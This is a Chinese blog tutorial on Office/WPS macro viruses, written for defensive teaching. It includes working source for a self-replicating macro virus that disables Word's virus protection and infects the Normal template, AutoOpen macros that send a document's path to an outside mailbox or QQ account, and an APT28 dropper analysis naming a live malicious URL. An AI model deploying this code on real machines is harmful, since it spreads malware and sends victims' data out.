您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
作者前文介绍了病毒原理和防御知识,并通过批处理代码和漏洞(CVE-2018-20250)利用让大家感受下病毒攻击的过程,提出了安全相关建议;这篇文章将详细讲解宏病毒相关知识,它仍然活跃于各个APT攻击样本中,具体内容包括宏病毒基础原理、防御措施、自发邮件及APT28样本分析。 这些基础性知识不仅和系统安全相关,同样与我们身边常用的软件、文档、操作系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,安全保障任重道远。本文参考了参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
- 推荐前文:网络安全自学篇系列-100篇
作者的github资源:
前文分析:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
宏(Macro)是一种批量处理的称谓,是指能组织到一起作为独立的命令使用的一系列Word命令,可以实现任务执行的自动化,简化日常的工作。Microsoft Office使用Visual Basic for Applications(VBA)进行宏的编写。
大家可能接触到的宏并不多,但如果经常使用Word文档时,可能会遇到宏,比如国家自然科学基金申请,或者作者之前分享的宏技巧。文章如下:
注意,在Office中可以直接使用Word的宏函数,而WPS需要安装相关的软件后才能使用。打开WPS Word如下图所示,宏是不能使用的。
这时需要下载VBA for WPS并安装才能使用(下载地址为第19篇)。下载安装如下图所示:
安装完后可以设置宏函数,如下图所示:
点击"宏",然后"创建"宏函数,如下图所示,取名为test。
创建后如下图所示,可以看到是VB代码进行编写的。
代码示例如下:
Sub test()
'
' test Macro
'
Dim sLineNum3 As String '行号(文字)
Dim nLineNum '行号(数值)
Dim i As Long
Title = "输入编号信息"
a1 = "请输入总编号开始号:"
b1 = InputBox(a1, Title)
End Sub
WPS可以保存为带宏函数的格式,如下图所示。
然后运行宏函数如下图所示,点击"运行"即可,如下图所示。
运行结果如下图所示,弹出界面输入:
第一步,降低宏的安全性。
宏的默认安全性非常高,有时会导致宏程序不会自动执行,我们可以修改降低其安全性。
第二步,设置字体隐藏。
假设我们现在有这样一个需求,要将文档中的内容隐藏。怎么做呢?传统方法是全选文字,然后设置字体隐藏,如下图所示。
如果需要查看文字再进行还原,这些小技巧往往会隐藏在病毒或木马中。那么,我们是否可以将这隐藏和还原两个操作用两个快捷键关联起来呢?下次再进行相关操作时,会变得更加简洁。
第三步,点击录制新宏。
第四步,将刚才的操作执行一遍,全选文字然后隐藏,然后点击停止录制。
此时,可以看到我们新创建的宏MacroHide。
第五步,再录制一个显示的新宏MacroShow。
显示之后我们停止录制。
第六步,绑定快捷键。
如果是在Office中,可以直接选择对应的快捷键,但WPS设置不同。
WPS设置如下:点击“文件”->“选项”,在“选项”界面最左侧找到并点击“自定义功能区”,选择“自定义”按钮。
设置快捷键如下:
此时,功能已经实现,当我们按下“Ctrl+Shift+H”时,文字隐藏,按下“Ctrl+Shift+S”时文字显示。
当然宏可以更加复杂,接下来我们将介绍。同时,怎么去查看宏代码呢?通过VB编辑器能够查看宏代码,如下图所示。
在Normal下的模块=>NewMacros有我们刚刚编辑的两个宏。
该代码的核心内容如下:
Sub MacroHide()
'
' MacroHide Macro
' 宏由 xiuzhang 录制,时间: 2020/04/20
'
Selection.WholeStory
With Selection.Font
.Underline = wdUnderlineNone
.EmphasisMark = wdEmphasisMarkNone
.Hidden = 0
.Shadow = 0
.Outline = 0
.Emboss = 0
.Engrave = 0
.Scaling = 100
.Scaling = 100
.Hidden = 1
.Hidden = 1
End With
End Sub
那么,什么又是宏病毒呢?
宏病毒是一种寄存在文档或模板的宏中的计算机病毒,存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等),使用宏语言编写,利用宏语言的功能将自己寄生到其他数据文档。
最早的时候,人们认为数据文档是不可能带有病毒的,因为数据文档不包含指令,直到宏病毒出现才改变大家的看法。当我们打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
那么,宏病毒又如何获得这些控制权呢?
只有拿到控制前之后宏病毒才能进行传播。它和Office的特性相关,Office支持一些自动执行的宏,如果将病毒代码放到自动执行的宏中,Word打开时会给病毒传播创造条件。利用自动执行宏将病毒代码写在宏汇中,由于这些宏会自动执行,从而获取控制权。
(1) WORD
(2) EXCEL
(3) Office97/2000
我们通过VB编辑器增加宏代码,定义了五个自动宏。
注意,程序指WPS或Office,一个程序可以打开或创建多个文档,他们存在一定区别。同样,它们的权限也有区别。
代码如下:
Sub AutoOpen()
MsgBox "您好,您打开了Word文档!", 0, "宏病毒测试"
End Sub
Sub AutoExec()
MsgBox "您好,您打开了Word程序!", 0, "宏病毒测试"
End Sub
Sub AutoNew()
MsgBox "您好,您选择了新建文件!", 0, "宏病毒测试"
End Sub
Sub AutoExit()
MsgBox "欢迎下次光临!", 0, "宏病毒测试"
End Sub
Sub AutoClose()
MsgBox "下次还要来哦!", 0, "宏病毒测试"
End Sub
Sub MyFirstVBAProcedure()
Dim NormProj
MsgBox "欢迎光临XXXXXX安全实验室!", 0, "宏病毒测试"
Set NormProj = NormalTemplate.VBProject
MsgBox NormProj.Name, 0, "模块文件名" '显示模板文件的名字
With Assistant.NewBalloon '调出助手
.Icon = msoIconAlert
.Animation = msoAnimationGetArtsy
.Heading = "Attention,Please!"
.Text = "Today I turn into a martian!"
.Show
End With
End Sub
当我们打开Word时,会提示我们安全警告,选择“启用宏”。
此时会提示一个打开Word文档的对话框,表示AutoOpen宏自启动。
当我们关闭程序会提示如下对话框。
如果我们想要查看宏的具体定义,可以查看定义的函数,如下图所示,也可以在工具栏中选择VB编辑器查看代码。
当我们执行某个函数,会有对应的执行效果。比如弹出“宏病毒测试”对话框。
你可能会疑惑,为什么只弹出了两个对话框呢?
因为宏包括两种类型——局部宏和全局宏。而退出Word程序和进入Word程序不是当前文档能定义的。其他三个宏无法起到作用,我们需要将它们复制到Normal模块中才能运行。
在Word和其他微软Office系列办公软件中,宏分为两种。
宏病毒的传播路线如下:
首先Office文档被感染病毒,当文档打开会执行自动宏,如果宏被执行,它会去检测当前模板是否被感染病毒,如果没有被感染,它会将释放自身的病毒代码。当模板被感染之后,系统中任何一个文档被打开,都会执行模板中的病毒,宏病毒进行传播。
宏病毒的感染方案就是让宏在这两类文件之间互相感染,即数据文档、文档模板。 下面是《软件安全》课程的示例图。
注意,宏代码是可以调试的。
完整代码如下:
Sub test()
'On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False '以上是病毒基本的自我保护措施
Set Doc = ActiveDocument.VBProject.VBComponents
'取当前活动文档中工程组件集合
Set Tmp = NormalTemplate.VBProject.VBComponents
'取Word默认模板中工程组件集合
Const ExportSource = "c:\jackie.sys"
Const VirusName = "AIGTMV1" '该字符串相当于一个病毒感染标志
Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
'将当前病毒代码导出到c:\jackie.sys文件保存
For i = 1 To Tmp.Count
If Tmp(i).Name = VirusName Then TmpInstalled = 1
'检查模板是否已经被感染病毒
Next i
For j = 1 To Doc.Count
If Doc(j).Name = VirusName Then DocInstalled = 1
'检查当前活动文档是否已被感染病毒
Next j
If TmpInstalled = 0 Then '如果模板没有被感染,对其进行感染
Tmp.Import ExportSource '从c:\jackie.sys将病毒导入模板
NormalTemplate.Save '自动保存模板,以免引起用户怀疑
End If
If DocInstalled = 0 Then '如果当前活动文档没有被感染
Doc.Import ExportSource '从c:\jackie.sys将病毒导入当前活动文档
ActiveDocument.SaveAs ActiveDocument.FullName '自动保存当前活动文档
End If
MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub
宏病毒也可以通过网络进行传播,譬如电子邮件。
宏病毒的自我保护主要包括三种方法:
(1) 禁止提示信息
On Error Resume Next 如果发生错误,不弹出出错窗口,继续执行下面语句
Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口
Application.DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态
Options.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示
…
(2) 屏蔽命令菜单,不允许查看宏
Sub ViewVBCode()
MsgBox "Unexcpected error",16
End Sub
ViewCode:该过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。
(3) 隐藏宏的真实病毒代码
在“自动宏”中,不包括任何感染或破坏的代码,但包含了创建、执行和删除新宏(实际进行感染和破坏的宏)的代码;将宏代码字体颜色设置成与背景一样的白色等。
宏病毒的防御措施包括:
接下来我们制作一个宏,当对方打开文档时就知道该文档在对方电脑存储的具体路径。常见方法包括:
这里采用CDO自发邮件实现。通过Word VB编写脚本,设置文档打开时运行,利用CDO发送电子邮件将文件的路径和名字发送到指定邮箱中。具体步骤如下:
注意,千万别小瞧这个功能,如果是一封钓鱼邮件或运行宏病毒自动采集个人电脑信息发送至指定邮件,其危害性非常大,而且该攻击手段广泛存在于许多亚洲APT组组中。
参考文献:
定义的宏函数为AutoOpen,如下图所示:
核心代码如下所示:
完整代码如下,包括获取文件夹路径、定义邮件地址、添加CDO库、设置微软服务器、CDO邮件参数设置、发送数据
Sub AutoOpen()
' AutoOpen宏
' By: CSDN Eastmount 2020-04-21
' 获取文件夹路径
Dim WordObj As Object
Dim Doc As Object
Set WordObj = GetObject(, "Word.Application")
Set Doc = WordObj.ActiveDocument
MsgBox (Doc.Path)
' 定义邮件地址
Const from1 = "152xxxxxxxx@163.com"
Const to1 = "xxxxxxxxxx@qq.com"
Const password = "xxxxxxxxxx"
' 添加CDO库
Set CDO = CreateObject("CDO.Message")
CDO.from = from1
CDO.to = to1
CDO.Subject = Doc.Name
CDO.Textbody = Doc.Path
' 微软服务器网址
MsgBox ("发送邮件")
Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
.Item(proxyUrl & "sendusing") = 2 '发送端口
.Item(proxyUrl & "smtpserver") = "smtp.163.com" 'SMTP服务器地址
.Item(proxyUrl & "smtpserverport") = 25 'SMTP服务器端口
.Item(proxyUrl & "smtpauthenticate") = 1 '是否开启用户名密码验证
.Item(proxyUrl & "sendusername") = from1 '发送方邮箱名称
.Item(proxyUrl & "sendpassword") = password '发送方邮箱密码
.Item(proxyUrl & "smtpusessl") = True '是否使用ssl协议
.Item(proxyUrl & "smtpconnectiontimeout") = 60 '时延
.Update
End With
' 发送数据
CDO.Send
Set CDO = Nothing
MsgBox ("成功!")
End Sub
当test04.doc文件打开时,它会自动运行,其结果如下图所示:
接着对话框提示发送邮件。
最终邮件通过宏病毒发送成功。
下图可见,成功将Word稳定打开的路径地址发送到了目标邮箱,如果宏病毒再获取更详细的信息或文件,是否也能发送到指定邮箱呢?这样的恶意代码仍需要重视。
注意事项及常见错误:
(1) 如果在撰写宏病毒过程中,出现“缺少:列表分隔符或)”,我们需要进行调试及修改。
(2) 如果提示“邮件无法发送到SMTP服务器,传输错误代码为 0x80040217。服务器响应为 not available”,则需要开启STMP授权。
CDO发送邮件时需要开启邮件的stmp授权代理,网易邮箱163设置方法如下图所示:
如果腾讯邮箱要开启SMTP/POP3服务,则将生成的授权码当作邮箱登陆密码来进行邮件发送,注意设置的是授权码而不是密码。
(3) 如果wps报429 ActiveX不能创建对象 ,则解决方法参考:
接着通过QQ发送信息来制作宏病毒,并获取对方电脑存储的具体路径。具体流程:
注意,腾讯WebQQ停止运营了,且不好获取QQ的聊天窗口句柄,才采用了该方法。该部分主要参考师弟的代码,再次感谢。
完整宏代码如下:
Sub AutoOpen()
' 获取文件路径
DocPath = ActiveDocument.Path
DocName = ActiveDocument.Name
Text1 = "DocPath:" + DocPath
Text2 = "DocName:" + DocName
Result = Text1 + Text2
MsgBox (Result)
' 将内容送入剪贴板
With CreateObject("new:{
1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
.SetText Result
.PutInClipboard
End With
' 发送QQ消息
Shell "cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes"
Dim t As Single
t = Timer
Do
DoEvents
Loop While Timer - t < 2 '搁置2s
' 粘贴
SendKeys "^v"
SendKeys "{ENTER}"
SendKeys "{ENTER}"
SendKeys "^{ENTER}"
End Sub
运行代码如下,获取了Word文档的路径。
此时内容复制至剪贴板,如果输入Ctrl+V,输出内容如下:
通过下面的命令可以直接打开某个QQ的窗口。
最终当我们打开Word文档,它会执行自动代码,并向某个QQ号自动发送信息,运行效果如下图所示:
最后分享先知社区关于APT28样本的宏病毒分析,和作者的这篇文章基础知识非常相关。如果该部分有不当的地方,可以提醒我删除,感谢。参考文献:
APT28组织是一个与ELS有关的高级攻击团伙,本次分析的是该团伙使用的宏病毒,所有资料均来自互联网。比如,2018年10月到11月OZ外交处理事务组织的鱼叉邮件(paloalto),2017年7月到8月酒店行业的鱼叉邮件(Fireeye),2017年10月MG研究机构的鱼叉邮件(cisco)。
首先,远程模板的位置 http://188.241.58.170/live/owa/office.dotm。注意,在分析恶意样本时,千万别访问这些远程链接或文件,很可能中病毒或成为肉鸡。
通过宏代码分析,发现其没有进行混淆工作,但是这次使用AutoClose,只有文档关闭的时候,恶意代码才会执行。从而会绕过一些不关闭文档的沙箱检测。
此次宏文件一共会创建两个文件,如下所示,分别是从 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出来使用base64编码的恶意文件。
选择UserForm1窗体右键保存后,可以看到里面经过base64编码的恶意文件。
将msdn和temp.docm写入后开始加载temp.docm,再运行temp.docm的Module1.Proc1。
最后可以看到通过shell运行释放exe。
首先,样本运行完如下,可以看到针对特定的攻击目标对内容进行了特定的定制化。
分析宏代码,发现宏代码是加密过的。
解密可以看到三个函数,攻击者并没有做太多的混淆,而是将关键的PE文件BASE64编码放到XML文件中,包括:
获取指定xml节点的信息。
最后在docProps/app.xml中发现了这个base64编码的文本。
之后将base64文本文件解码。
解密后为一个PE文件。
发现将样本放到APPDATA环境变量的目录下,文件名为user.dat,最后使用了WMI调用rundll32.exe启动。
样本运行完如下,可以看到针对特定的攻击目标对内容进行了特定的定制化。
对宏代码进行了加密,解密可以看到三个函数,攻击者并没有做太多的混淆,而是将关键的可执行文件分散放编码放到文件属性中。
将base64数据放到了word的内置属性中。
合并获取的编码值并解码。
最后设置bat脚本,然后启动
写到这里,这篇宏病毒基础性文章就介绍结束了,包括入门基础、防御措施、自发邮件及APT28样本分析,希望对您有所帮助。后续作者还会继续深入分析宏病毒,并结合实例和防御进行讲解。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢小伙伴和师傅们的教导,深知自己很菜,得努力前行。
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、实验室小伙伴的教导,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。
欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。
(By:Eastmount 2021-02-04 星期四 凌晨夜于贵阳 http://blog.csdn.net/eastmount/ )
参考文献:
[1] 小伙伴们的分享、《软件安全》课程实验(详见网易云课程WHU)
[2] 宏的基本概念与使用 - WHU MOOC
[3] 宏病毒+使用CDO自动发邮件 - 良月廿七
[4] word宏病毒通过邮件获取路径和文件名 - Braylon1002
[5] 宏&一个简单的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28样本分析之宏病毒分析 - 先知社区
[8] 宏病毒研究2——实战研究篇 - i春秋老师 icq5f7a075d
[9] [Office] WPS Excel通过添加宏实现多张表格合并
[10] [黑科技] WPS通过VB宏函数实现自编号功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html